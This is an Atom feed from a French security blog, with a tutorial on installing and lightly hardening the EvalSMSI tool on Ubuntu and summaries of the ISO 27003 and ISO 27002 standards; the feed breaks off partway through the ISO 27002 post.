<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9218294967285138539</id><updated>2012-01-25T10:14:33.642-08:00</updated><category term='Social Engineering'/><category term='Security Solution'/><category term='pentesting'/><category term='Theory'/><category term='forensic'/><title type='text'>MISSION: Security</title><subtitle type='html'>Votre mission, si vous l'acceptez, trouver et neutraliser vos ennemis, assurer notre défense et bien sûr, être opérationnel pour l'attaque. Pour cela, vous disposez de la dernière arme créée pour vous : la Sécurité Informatique des SI !</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>60</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-7743204941555292493</id><published>2011-01-28T13:59:00.001-08:00</published><updated>2011-01-28T14:07:10.665-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security Solution'/><title type='text'>[SMSI] Evalsmsi install</title><content type='html'>&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Je   continue mes péripéties sur l'étude des SMSI mais je fais une pause  sur  les normes pour vous présenter un outil permettant l'évaluation des   SMSI : &lt;span style="font-weight: bold;"&gt;evalsmsi&lt;/span&gt;. Cet outil  avait  été présenté par Michel Dubois pendant les rump sessions du SSTIC  2009.  Une telle solution, libre qui plus est, je n'en connais pas  d'autre :  il me paraît donc important de s'y intéresser.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;En fait, ce poste sert peut-être à rien !&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Le but de ce post est d'installer la solution mais la réalité, c'est qu'il existe déjà une &lt;a href="http://downloads.sourceforge.net/project/evalsmsi/VirtualBox%20version/EvalSMSI_2.3.1.ova"&gt;image virtuelle&lt;/a&gt; toute faite et alors, il n'y a rien à faire si ce n'est de l'importer dans sa &lt;span style="font-style: italic;"&gt;virtual box&lt;/span&gt;.   Sauf que me concernant, j'avais des erreurs avec le fichier *.ova  alors  je ne me suis pas découragé pour autant et j'ai pris le &lt;a href="http://downloads.sourceforge.net/project/evalsmsi/evalsmsi_2.3.1.tar.gz"&gt;tar.gz&lt;/a&gt; (on est joueur ou on l'est pas ;)).&lt;br /&gt;Pour   faire cela, je suis parti d'une nouvelle image Ubuntu 10.10 donc je   reprends tout depuis e début. Certaines choses ne vous seront donc   certainement pas utiles. En tout cas, même si l'auteur a pensé à faire   un README.txt, je pense qu'un tuto pourra faciliter la vie de certains.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Donc ce post va peut-être servir finalement ...&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;u&gt;Étape 1 : Installation des packages&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;La   solution repose sur un architecture LAMP. Nous installons les packages   en conséquence. Notez que nous devons créer la base de données avant   l'installation de &lt;span style="font-style: italic;"&gt;phpmyadmin&lt;/span&gt; :&lt;br /&gt;&lt;blockquote&gt;jer001@ubuntu:~$ sudo apt-get install apache2&lt;br /&gt;jer001@ubuntu:~$ sudo apt-get install mysq-server&lt;br /&gt;jer001@ubuntu:~$ mysql -u root -p create evalsmsi&lt;br /&gt;jer001@ubuntu:~$ sudo apt-get install phpmyadmin&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;u&gt;Étape 2 : Apporter les restrictions principales&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Ce serait un outrage de parler de hardening mais un minimum de mesures de sécurité me paraît nécessaire :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;On   commence par changer l'alias pour atteindre l'interface   d'administration de phpmyadmin, histoire qu'elle soit moins visible : &lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;jer001@ubuntu:~$ sudo vi /etc/phpmyadmin/apache.conf (rajouter cette ligne) :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_BhVyBIyY5_8/TUM1cL7JyaI/AAAAAAAAAl0/J1JCo833UCw/s1600/Alias_phpmyadmin.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 383px; height: 60px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/TUM1cL7JyaI/AAAAAAAAAl0/J1JCo833UCw/s400/Alias_phpmyadmin.jpg" alt="" id="BLOGGER_PHOTO_ID_5567352322713569698" border="0" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;On évite de fournir la version de PHP, question de principe (variable &lt;span style="font-style: italic;"&gt;expose_php&lt;/span&gt; à &lt;span style="font-style: italic;"&gt;Off&lt;/span&gt;) : &lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;jer001@ubuntu:~$ sudo vi /etc/php5/apache/php.ini&lt;/blockquote&gt;&lt;a href="http://4.bp.blogspot.com/_BhVyBIyY5_8/TUM2Frwc4yI/AAAAAAAAAmE/9N9kvFxo-Z8/s1600/PHP_Expose.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 436px; height: 72px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/TUM2Frwc4yI/AAAAAAAAAmE/9N9kvFxo-Z8/s400/PHP_Expose.jpg" alt="" id="BLOGGER_PHOTO_ID_5567353035633255202" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;On passe à la configuration d'&lt;span style="font-style: italic;"&gt;Apache&lt;/span&gt; pour cacher empêcher l'accès au fichier &lt;span style="font-style: italic;"&gt;config.inc.ini&lt;/span&gt; de &lt;span style="font-style: italic;"&gt;phpmyadmin&lt;/span&gt;, cacher les bannières, limiter les accès à l'application par filtrage IP :&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;jer001@ubuntu:~$ cd /etc/apache2&lt;br /&gt;jer001@ubuntu:~$ sudo vi apache2.conf #rajouter ces lignes ...&lt;br /&gt;&lt;/blockquote&gt;&lt;a href="http://2.bp.blogspot.com/_BhVyBIyY5_8/TUM3hySR_AI/AAAAAAAAAmM/wc6XrKahrp4/s1600/apache2.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 473px; height: 71px;" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/TUM3hySR_AI/AAAAAAAAAmM/wc6XrKahrp4/s400/apache2.jpg" alt="" id="BLOGGER_PHOTO_ID_5567354617933724674" border="0" /&gt;&lt;/a&gt;&lt;blockquote&gt;jer001@ubuntu:~$ sudo vi conf.d/security #vérifier/changer la valeur de ces variables&lt;/blockquote&gt;&lt;a href="http://1.bp.blogspot.com/_BhVyBIyY5_8/TUM35L3nGGI/AAAAAAAAAmU/4NUcK0Lm0Bk/s1600/apache2_security.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 164px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/TUM35L3nGGI/AAAAAAAAAmU/4NUcK0Lm0Bk/s400/apache2_security.jpg" alt="" id="BLOGGER_PHOTO_ID_5567355019938175074" border="0" /&gt;&lt;/a&gt;&lt;blockquote&gt;jer001@ubuntu:~$ sudo vi sites-available/default #rajouter les lignes&lt;br /&gt;jer001@ubuntu:~$ sudo /etc/init.d/apache2 reload &lt;/blockquote&gt;&lt;a href="http://4.bp.blogspot.com/_BhVyBIyY5_8/TUM4lJBi1zI/AAAAAAAAAmc/vlttflft1g8/s1600/Apache_virtual_host2.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 90px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/TUM4lJBi1zI/AAAAAAAAAmc/vlttflft1g8/s400/Apache_virtual_host2.jpg" alt="" id="BLOGGER_PHOTO_ID_5567355775088777010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;Étape 3 : Installation et configuration de la solution&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;# Nous installerons la solution dans un répertoire accessible par le serveur WEB&lt;br /&gt;jer001@ubuntu:~$ cd /var/www&lt;br /&gt;jer001@ubuntu:~$ sudo wget http://downloads.sourceforge.net/project/evalsmsi/evalsmsi_2.3.1.tar.gz&lt;br /&gt;jer001@ubuntu:~$ sudo tar -xzvf evalsmsi_2.3.1.tar.gz&lt;br /&gt;jer001@ubuntu:~$ sudo rm evalsmsi_2.3.1.tar.gz&lt;br /&gt;# On attribue les droits du serveurs WEB au répertoire où est localisée la solution&lt;br /&gt;jer001@ubuntu:~$ sudo chown -R www-data:www-data evalsmsi/&lt;br /&gt;# On récupère le fichier SQL pour configurer la base de données.&lt;br /&gt;jer001@ubuntu:~$ sudo gunzip -d /var/www/evalsmsi/docs/evalsmsi.sql.gz&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Pour lancer les requêtes SQL de ce fichier, j'ai fait simple  un copier du contenu du fichier et un coller dans &lt;span style="font-style: italic;"&gt;phpmyadmin &lt;/span&gt;(onglet SQL) et "Go" (cliquer) :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_BhVyBIyY5_8/TUM6TlKs9pI/AAAAAAAAAmk/C3rDyAzxWJA/s1600/requetes_SQL.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 148px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/TUM6TlKs9pI/AAAAAAAAAmk/C3rDyAzxWJA/s400/requetes_SQL.jpg" alt="" id="BLOGGER_PHOTO_ID_5567357672428992146" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;On crée un nouvel utilisateur dans MySQL pour la gestion de la base "evalsmsi". Je le fais via &lt;span style="font-style: italic;"&gt;phpmyadmin&lt;/span&gt; de nouveau (onglet "Privileges") :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_BhVyBIyY5_8/TUM6pwbYOoI/AAAAAAAAAms/SNjDvk2gxrs/s1600/New_User.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 267px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/TUM6pwbYOoI/AAAAAAAAAms/SNjDvk2gxrs/s400/New_User.jpg" alt="" id="BLOGGER_PHOTO_ID_5567358053408848514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;On fournit les données de connexions de la BDD à la solution (renseigner les comptes notamment) :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;jer001@ubuntu:~$ sudo vi /var/www/evalsmsi/functions.php&lt;/blockquote&gt;&lt;a href="http://4.bp.blogspot.com/_BhVyBIyY5_8/TUM9FVot-VI/AAAAAAAAAnM/_KpF-lzaSBw/s1600/Variable_connexions.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 196px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/TUM9FVot-VI/AAAAAAAAAnM/_KpF-lzaSBw/s400/Variable_connexions.jpg" alt="" id="BLOGGER_PHOTO_ID_5567360726276634962" border="0" /&gt;&lt;/a&gt;On vérifie que tout fonctionne dans l'interface d'Evalsmsi &gt; Cliquer sur "Accès établissement" ...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_BhVyBIyY5_8/TUM8ybCqLqI/AAAAAAAAAnE/pb-g4WKx6_8/s1600/interface.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 219px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/TUM8ybCqLqI/AAAAAAAAAnE/pb-g4WKx6_8/s400/interface.jpg" alt="" id="BLOGGER_PHOTO_ID_5567360401310101154" border="0" /&gt;&lt;/a&gt;... et entrer les crédences d'un admin (ex : compte admin1). Si ça marche, vous verrez cette page :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_BhVyBIyY5_8/TUM8YUXkkZI/AAAAAAAAAm8/j4B9KgFlRzA/s1600/OK.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 92px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/TUM8YUXkkZI/AAAAAAAAAm8/j4B9KgFlRzA/s400/OK.jpg" alt="" id="BLOGGER_PHOTO_ID_5567359952842166674" border="0" /&gt;&lt;/a&gt;Success!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conclusion&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Rares sont ceux qui maîtrise la technique et l'organisation de la sécurité. Or, le SMSI est destiné avant tout à cette 2e catégorie de personnes. Alors autant leur permettre d'utiliser une telle solution sans qu'ils soient bloquer par la technique.&lt;br /&gt;Il resterait beaucoup à dire comme la sécurisation de la plateforme et surtout, l'utilisation de la solution. Peut-être l'objet d'un prochain post ?&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-7743204941555292493?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/7743204941555292493/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=7743204941555292493' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/7743204941555292493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/7743204941555292493'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2011/01/je-continue-mes-peripeties-sur-letude.html' title='[SMSI] Evalsmsi install'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_BhVyBIyY5_8/TUM1cL7JyaI/AAAAAAAAAl0/J1JCo833UCw/s72-c/Alias_phpmyadmin.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-2863587434802057558</id><published>2011-01-05T10:45:00.000-08:00</published><updated>2011-01-05T15:45:48.479-08:00</updated><title type='text'>[SECURITY STANDARD] Episode 3: Are you compliant to ... ISO 27003</title><content type='html'>&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Dans la continuité de la revue des normes internationales sécurité, il est temps dorénavant de mettre en place le SMSI. Et pour cela, il existe depuis moins d'un an la norme ISO 27003, dédiée à l'implémentation d'un SMSI.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Petit résumé avant de commencer ...&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Comme la norme ISO 27002 et toutes les normes qui vont suivre, il s'agit d'un &lt;span style="font-weight: bold;"&gt;guide &lt;/span&gt;et non d'exigence. L'idée principale est de mettre en place un SMSI en construisant un &lt;span style="font-weight: bold;"&gt;projet&lt;/span&gt;. Il s'agit en effet de déterminer les tâches à réaliser et de les synchroniser correctement dans le temps et d'impliquer les ressources nécessaires pour chacune d'entre elles.&lt;br /&gt;Nous allons parcourir cette norme à travers ses clauses 5 à 9&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;qui nous fournissent les lignes directrices pour le &lt;span style="font-weight: bold;"&gt;démarrer un projet de SMSI en 5 phases&lt;/span&gt; donc qui suivent un ordre logique. Cependant, la norme ne fournira pas d'indication pour faire vivre le système de management en question une fois lancé.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Ce que raconte la norme ...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;Clause 5 : Obtenir l'accord de la direction pour initier le projet de SMSI&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;L'objectif de cette clause est double : obtenir l'accord de la direction et rédiger une première version de la planification du projet de SMSI. Plus précisément, cette clause a pour vocation de définir les besoins en termes de sécurité et de business afin de déterminer les objectifs de la direction et le périmètre qui sera impliqué dans le SMSI. Ceci sera réalisé à travers 3 sous-étapes :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Clarifier les &lt;span style="font-weight: bold;"&gt;priorités &lt;/span&gt;qui amènent au déploiement du SMSI ;&lt;/li&gt;&lt;li&gt;Définir le &lt;span style="font-weight: bold;"&gt;périmètre&lt;/span&gt; préliminaire du futur SMSI ;&lt;/li&gt;&lt;li&gt;Réaliser un plan business et le planning du projet pour &lt;span style="font-weight: bold;"&gt;approbation&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;Finalement, nous cherchons ici les axes stratégiques et les raisons d'une telle implémentation à mettre en accord entre les besoins et les exigences. Le fait de définir et de clarifier l'ensemble des composantes du futur SMSI devraient amener à un consensus entre la sécurité et la direction.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Clause 6 : Définir le périmètre du SMSI, ses limites et la politique du SMSI&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Pour ceux qui se sont intéresser à la norme ISO 27001, nous retrouvons ici deux documents requis par celle-ci. Rappelons que la certification ISO 27001 est attribuée à un périmètre précis. Il s'agit donc d'une composante importante. Quant à la politique du SMSI, elle représentera le vecteur de développement tout au long du projet. Cinq sous-étapes sont nécessaires cette fois :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Définir le périmètre d'&lt;span style="font-weight: bold;"&gt;organisation &lt;/span&gt;et ses limites en termes&lt;span style="font-weight: bold;"&gt;&lt;/span&gt; (ex : responsables et personnes impliqués dans le projet) ;&lt;/li&gt;&lt;li&gt;Définir le périmètre &lt;span style="font-weight: bold;"&gt;IT &lt;/span&gt;et ses limites&lt;span style="font-weight: bold;"&gt;&lt;/span&gt; (ex : logiciels, serveurs, technologies, ...) ;&lt;/li&gt;&lt;li&gt;Définir le périmètre &lt;span style="font-weight: bold;"&gt;physique &lt;/span&gt;et ses limites&lt;span style="font-weight: bold;"&gt;&lt;/span&gt; (ex : les sites qui feront partie du périmètre) ;&lt;/li&gt;&lt;li&gt;Synthétiser les 3 étapes précédentes pour définir le &lt;span style="font-weight: bold;"&gt;périmètre global et final&lt;/span&gt; avec ses limites (attention : toute exclusion doit être justifiée) ;&lt;/li&gt;&lt;li&gt;Rédiger la &lt;span style="font-weight: bold;"&gt;politique du SMSI&lt;/span&gt; et la faire &lt;span style="font-weight: bold;"&gt;valider&lt;/span&gt;.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Nous savons maintenant sur quoi nous allons travailler. En effet, nous avons correctement cadré le projet de SMSI. Les bases étant posées et approuvées, nous pouvons passer à l'étape suivante.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Clause 7 : Analyser les pré-requis sécurité&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Tout simplement, il s'agit ici d'établir un état des lieux du périmètre en termes de sécurité. Les résultats de cette analyse nous permettront de mieux appréhender les actions à mener par la suite. Pour obtenir ces informations, 3 sous-étapes sont proposées :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Définir les &lt;span style="font-weight: bold;"&gt;pré-requis sécurité&lt;/span&gt; pour les process relatif au SMSI (processus critiques ? contraintes légales ? biens prioritaires ? vulnérabilités impliquées ? besoin de sensibilisation et de formation ?) ;&lt;/li&gt;&lt;li&gt;Définir &lt;span style="font-weight: bold;"&gt;les biens&lt;/span&gt; dans le périmètre du SMSI (classification des biens et besoins à partir de l'étape précédente) ;&lt;/li&gt;&lt;li&gt;Évaluer le &lt;span style="font-weight: bold;"&gt;niveau de sécurité&lt;/span&gt; (à l'aide d'un audit de conformité (ex: ISO 27002) et des résultats d'audits  précédents).&lt;/li&gt;&lt;/ul&gt;Une fois l'état des lieux établi, il est possible de connaître le travail restant à réaliser. Avant cela, il nous reste à savoir à quel niveau de risque est exposé la société et quel niveau de risque elle est prêt à accepter pour savoir jusqu'où nous devrons aller.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Clause 8 : Réaliser une analyse de risque et rédiger un plan de traitement du risque&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Ces éléments sont exigés par la norme ISO 27001, dans la phase PLAN. Pour mener à bien cette partie du projet, nous pourrons nous appuyer sur la norme ISO 27005 que nous verrons dans l'épisode 5 de notre étude. Voici les principales sous étapes de notre projet pour cette 8e clause :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Réaliser une &lt;span style="font-weight: bold;"&gt;analyse de risque&lt;/span&gt; (Décrire la méthodologie et fournir les résultats) ;&lt;/li&gt;&lt;li&gt;Sélectionner les objectifs de contrôle et les contrôles eux-mêmes (rédaction de la &lt;span style="font-weight: bold;"&gt;déclaration d'applicabilité&lt;/span&gt; et du &lt;span style="font-weight: bold;"&gt;plan de traitement des risques&lt;/span&gt;, cf. Annexe A de la norme ISO 27001) ;&lt;/li&gt;&lt;li&gt;Obtenir l'&lt;span style="font-weight: bold;"&gt;autorisation de la direction&lt;/span&gt; pour l'implémentation et la maintenance du SMSI (doit contenir le niveau d'acceptation pour les risques résiduels).&lt;/li&gt;&lt;/ul&gt;&lt;u&gt;Clause 9 : Concevoir le SMSI&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;C'est la dernière étape pour que notre SMSI soit prêt et de pouvoir ainsi rentrer dans la phase DO de notre modèle PDCA. 4 sous-étapes sont à prendre en compte cette fois :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Concevoir l'&lt;span style="font-weight: bold;"&gt;organisation sécurité finale&lt;/span&gt; (rôles et responsabilités impliqués, gestion de la documentation du SMSI, Politique de sécurité) ;&lt;/li&gt;&lt;li&gt;Concevoir les &lt;span style="font-weight: bold;"&gt;opérations IT et physiques&lt;/span&gt; (mise en place et contrôles des mesures de sécurité en définissant chaque tâche et en les assignant à un responsable) ;&lt;/li&gt;&lt;li&gt;Concevoir les &lt;span style="font-weight: bold;"&gt;tâches spécifiques à un SMSI&lt;/span&gt; (gestion du SMSI comme la planification de la revue de direction, la formation et la sensibilisation des utilisateurs, enregistrements en vue du contrôle et de l'amélioration du SMSI) ;&lt;/li&gt;&lt;li&gt;Produire le &lt;span style="font-weight: bold;"&gt;planning final du projet&lt;/span&gt; de SMSI (décrire l'ensemble des tâches et des méthodes associées en attribuant un responsable (1ère sous étape) de chaque tâche identifiées (2e et 3e sous-étapes).&lt;/li&gt;&lt;/ul&gt;Voilà, nous sommes prêts à rendre le SMSI opérationnel ! Nous savons qui, quoi, comment et quand réaliser les actions nécessaires à la mise en place, le maintien et l'amélioration continue du SMSI.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;Pour être plus précis ...&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;La norme fournit dans ses annexes des informations utiles pour préciser les sujets abordés dans le corps de la norme et surtout aider l'implémenteur. Voici la liste des annexes et le but de chacune :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;u&gt;Annexe A&lt;/u&gt; : &lt;span style="font-weight: bold;"&gt;check-list des tâches&lt;/span&gt; à réaliser avec la correspondances ISO 27003 / ISO 27001 ;&lt;/li&gt;&lt;li&gt;&lt;u&gt;Annexe B&lt;/u&gt; : &lt;span style="font-weight: bold;"&gt;les rôles et responsabilités&lt;/span&gt; de la sécurité de l'information (pour aider à l'organisation) ;&lt;/li&gt;&lt;li&gt;&lt;u&gt;Annexe C&lt;/u&gt; : Informations concernant l'&lt;span style="font-weight: bold;"&gt;audit interne&lt;/span&gt; (rappel : clause 6 de l'ISO 27001) ;&lt;/li&gt;&lt;li&gt;&lt;u&gt;Annexe D&lt;/u&gt; : &lt;span style="font-weight: bold;"&gt;Structure des politiques&lt;/span&gt; (hiérarchie des politiques et des procédures et exemple de politique) ;&lt;/li&gt;&lt;li&gt;&lt;u&gt;Annexe E&lt;/u&gt; : &lt;span style="font-weight: bold;"&gt;Surveillance&lt;/span&gt; du SMSI (mise en place et exploitation d'indicateurs, cf. ISO 27004).&lt;/li&gt;&lt;/ul&gt; &lt;/div&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-2863587434802057558?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/2863587434802057558/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=2863587434802057558' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/2863587434802057558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/2863587434802057558'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2011/01/security-standard-episode-3-are-you.html' title='[SECURITY STANDARD] Episode 3: Are you compliant to ... ISO 27003'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-4926269677168500198</id><published>2010-12-30T02:44:00.000-08:00</published><updated>2010-12-30T03:35:38.690-08:00</updated><title type='text'>[SECURITY STANDARD] Episode 2: are you compliant to ... ISO 27002</title><content type='html'>&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Après avoir vu la norme ISO 27001, je vous propose un aperçu de la norme ISO 27002. Elles sont toutes les deux liées, même si, cette dernière n'est pas obligatoire. Cependant, elle représente une aide précieuse à l'implémentation d'un SMSI.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Ce qu'est la norme ISO 27002 ...&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Il s'agit d'un &lt;span style="font-weight: bold;"&gt;code de bonnes pratiques&lt;/span&gt; contenant les mesures de sécurité qui peuvent aider à respecter les exigences de la norme ISO 27001. Les chapitres les plus importants sont les chapitres 5 à 15. Chacun aborde un thème de la sécurité de l'information qui sont présentés dans le schéma ci-dessous. En réalité, ils sont généralement liés entre eux et il est souvent difficile de les traiter sans s'appuyer sur d'autres mais l'ensemble de la norme présente ainsi des sujets complémentaires entre eux et complets dans sa globalité.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_BhVyBIyY5_8/TRxqnPXKQNI/AAAAAAAAAlk/4ZluQXx9PVE/s1600/iso27002_2.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 386px; height: 291px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/TRxqnPXKQNI/AAAAAAAAAlk/4ZluQXx9PVE/s400/iso27002_2.png" alt="" id="BLOGGER_PHOTO_ID_5556433262639464658" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Liens entre les normes ISO 27001 et ISO 27002&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Tout d'abord, il faut savoir que les thèmes de 